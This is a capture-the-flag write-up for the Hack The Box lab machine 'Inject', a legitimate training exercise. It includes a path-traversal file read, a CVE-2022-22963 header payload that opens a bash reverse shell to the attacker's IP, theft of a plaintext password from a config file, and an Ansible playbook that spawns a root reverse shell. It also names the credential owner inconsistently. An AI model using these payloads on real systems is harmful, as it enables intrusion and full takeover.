Description

Inject is an easy Hack The Box machine that features:

  • Local File Inclusion
  • Remote Command Execution
  • Sensitive Data Exposure
  • Ansible Playbook Privilege Escalation

Footprinting

First, we are going to check with ping command if the machine is active and the system operating system. The target machine IP address is 10.10.11.204.

$ ping -c 3 10.10.11.204 
PING 10.10.11.204 (10.10.11.204) 56(84) bytes of data.
64 bytes from 10.10.11.204: icmp_seq=1 ttl=63 time=46.8 ms
64 bytes from 10.10.11.204: icmp_seq=2 ttl=63 time=44.3 ms
64 bytes from 10.10.11.204: icmp_seq=3 ttl=63 time=43.9 ms

--- 10.10.11.204 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 43.861/44.977/46.769/1.279 ms

The machine is active and with the TTL that equals 63 (64 minus 1 jump) we can assure that it is an Unix machine. Now we are going to do a Nmap TCP SYN port scan to check all opened ports.

$ sudo nmap 10.10.11.204 -sS -oN nmap_scan 
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 10.10.11.204
Host is up (0.044s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 8.70 seconds

We get two open ports, 22 and 8080.

Enumeration

Then we do a more advanced scan, with service version and scripts.

$ nmap 10.10.11.204 -sV -sC -p22,8080 -oN nmap_scan_ports
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 10.10.11.204
Host is up (0.044s latency).

PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 caf10c515a596277f0a80c5c7c8ddaf8 (RSA)
|   256 d51c81c97b076b1cc1b429254b52219f (ECDSA)
|_  256 db1d8ceb9472b0d3ed44b96c93a7f91d (ED25519)
8080/tcp open  nagios-nsca Nagios NSCA
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.39 seconds

We get two services: Secure Shell (SSH) and Hypertext Transfer Protocol (HTTP) running on a Linux Ubuntu. As we don’t have feasible credentials for the SSH service we are going to move to the HTTP service. We observe in the browser that the service is hosting a website whose utility is to work as a cloud to store files from multiple devices. Only two links are working: Sign Up and Upload. If we click in Sign Up we get into an under construction page. If we click in Upload button we get a form in which we can upload files. We are going to create a test file and upload it to check how the process works.

$ echo "This is a test file" > test_file.txt

As we uploaded a text file we obtained a warning in which only image files are accepted. So we create an image file in our local computer and we upload it to the website. Now it works, the image is uploaded and we obtain a link to see the image. If we take a look in the source code we see that the link uses a parameter with the name of the file uploaded. The endpoint in the server is show_image and the parameter is img. If we click in the link we receive the response with the uploaded image. We can move into Burp Suite Repeater to check the request and the response.

Exploitation

As the name of the file and extension is sent we can check if the web application is vulnerable to Local File Inclusion vulnerability. After testing some paths in the parameter we obtain the contents of the /etc/passwd file with the path ../../../../../../../etc/passwd so the application is vulnerable.

Endpoint:
/show_image?img=../../../../../../../etc/passwd

Looking at console users we find root, frank and phil. Now we need to obtain some sort of Remote Command Execution using this vulnerability. If we specify a directory in the parameter we obtain a list of the files of the directory, for example in ../. As we move into the directories we discover that the application is written in Java inside a Maven project and then we find the pom.xml dependencies file in ../../../pom.xml. Between the dependencies of the project we find spring-cloud-function-web version 3.2.2, which is vulnerable to an unauthenticated Remote Code Execution with CVE-2022-22963. In AttackerKB we have a proof of concept. We need to send a HTTP POST request to /functionRouter with a special header spring.cloud.function.routing-expression with Java code used to execute the command, in this case a reverse shell.

Endpoint:

 /functionRouter

Header:

 spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/bash','-c','bash -i >& /dev/tcp/10.10.14.154/1234 0>&1'})

We create the listener to receive the shell and then we send the request.

$ nc -nvlp 1234

After sending the request we receive a 500 status code, which is normal, and we obtain a reverse shell that we should upgrade.

$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.154] from (UNKNOWN) [10.10.11.204] 35621

script /dev/null -c bash
frank@inject:/$
[keyboard] CTRL-Z
$ stty raw -echo; fg
$ reset xterm
frank@inject:/$ stty rows 48 columns 156
frank@inject:/$ export TERM=xterm
frank@inject:/$ export SHELL=bash

Post-Exploitation

We check that the currently logged in user is frank.

frank@inject:/$ id
uid=1000(frank) gid=1000(frank) groups=1000(frank)

Checking at the user directory for frank (/home/frank) we can find some credentials in /home/frank/.m2/settings.xml file. These are the credentials for the henry user, with DocPhillovestoInject123 password.

frank@inject:~$ cat /home/frank/.m2/settings.xml 
<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
  <servers>
    <server>
      <id>Inject</id>
      <username>phil</username>
      <password>DocPhillovestoInject123</password>
      <privateKey>${user.home}/.ssh/id_dsa</privateKey>
      <filePermissions>660</filePermissions>
      <directoryPermissions>660</directoryPermissions>
      <configuration></configuration>
    </server>
  </servers>
</settings>

We sign in as phil user.

frank@inject:~$ su phil

Now we are going to check for processes that run in fixed intervals of time, or Cron jobs. This task will be facilitated with pspy tool that we can download in the remote system by hosting it in our local server. This tool will show us created processes in real time.

phil@inject:~$ mktemp -d
/tmp/tmp.VUfDoJswI5
phil@inject:~$ cd /tmp/tmp.VUfDoJswI5
phil@inject:/tmp/tmp.VUfDoJswI5$ wget http://10.10.14.154/pspy32
-- http://10.10.14.154/pspy32
Connecting to 10.10.14.154:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2940928 (2.8M) [application/octet-stream]
Saving to: ‘pspy32’

pspy32                                 100%[============================================================================>]   2.80M  1.34MB/s    in 2.1s    

‘pspy32’ saved [2940928/2940928]

phil@inject:/tmp/tmp.VUfDoJswI5$ chmod +x pspy32 
phil@inject:/tmp/tmp.VUfDoJswI5$ ./pspy32

After some minutes running we find a running Cron job owned by root user, with UID 0, executing the automation tool Ansible.

phil@inject:/tmp/tmp.VUfDoJswI5$ ./pspy32
CMD: UID=0     PID=75906  | /usr/sbin/CRON -f 
CMD: UID=0     PID=75905  | /usr/sbin/CRON -f 
CMD: UID=0     PID=75904  | /usr/sbin/cron -f 
CMD: UID=0     PID=75907  | /usr/sbin/CRON -f 
CMD: UID=0     PID=75909  | sleep 10 
CMD: UID=0     PID=75908  | /bin/sh -c sleep 10 && /usr/bin/rm -rf /opt/automation/tasks/* && /usr/bin/cp /root/playbook_1.yml /opt/automation/tasks/                                                                                                                                               
CMD: UID=0     PID=75912  | /bin/sh -c /usr/local/bin/ansible-parallel /opt/automation/tasks/*.yml 
CMD: UID=0     PID=75910  | /bin/sh -c /usr/local/bin/ansible-parallel /opt/automation/tasks/*.yml

We see that all tasks written in .yml files at /opt/automation/tasks/ directory are executed, so we are going to check if we have permissions to write in that directory.

phil@inject:/tmp/tmp.VUfDoJswI5$ ls -la /opt/automation
total 12
drwxr-xr-x 3 root root  4096 Oct 20 04:23 .
drwxr-xr-x 3 root root  4096 Oct 20 04:23 ..
drwxrwxr-x 2 root staff 4096 Oct 20 04:23 tasks

We see that users in group staff can read and write files, so we are going to check if phil belongs to staff group.

phil@inject:/tmp/tmp.VUfDoJswI5$ groups
phil staff

As phil belongs to staff group we can check that there is an existent task called playbook_1.yml in tasks folder that checks if the web application service is running.

phil@inject:/tmp/tmp.VUfDoJswI5$ cat /opt/automation/tasks/playbook_1.yml 
- hosts: localhost
  tasks:
  - name: Checking webapp service
    ansible.builtin.systemd:
      name: webapp
      enabled: yes
      state: started

As we see in Ansible documentation it is possible to run commands and it is possible to do a privilege escalation. So we can create a .yml task file in tasks directory that will spawn a reverse shell as the root user.

phil@inject:/tmp/tmp.VUfDoJswI5$ cat<<EOF>/opt/automation/tasks/escalation.yml
- hosts: localhost
  tasks:
  - name: Privilege Escalation
    command: bash -c "bash -i >& /dev/tcp/10.10.14.154/1235 0>&1"
	become: true

EOF

We create the listener and then we wait for the connection.

$ nc -nvlp 1235

Finally when the Cron job starts we obtain a reverse shell with root privileges.

Flags

In the root shell we can obtain the user flag and the system flag.

$ nc -nvlp 1235     
listening on [any] 1235 ...
connect to [10.10.14.154] from (UNKNOWN) [10.10.11.204] 54476
bash: cannot set terminal process group (78885): Inappropriate ioctl for device
bash: no job control in this shell
root@inject:/opt/automation/tasks# id
uid=0(root) gid=0(root) groups=0(root)
root@inject:/opt/automation/tasks# cat /home/phil/user.txt
<REDACTED>
root@inject:/opt/automation/tasks# cat /root/root.txt
<REDACTED>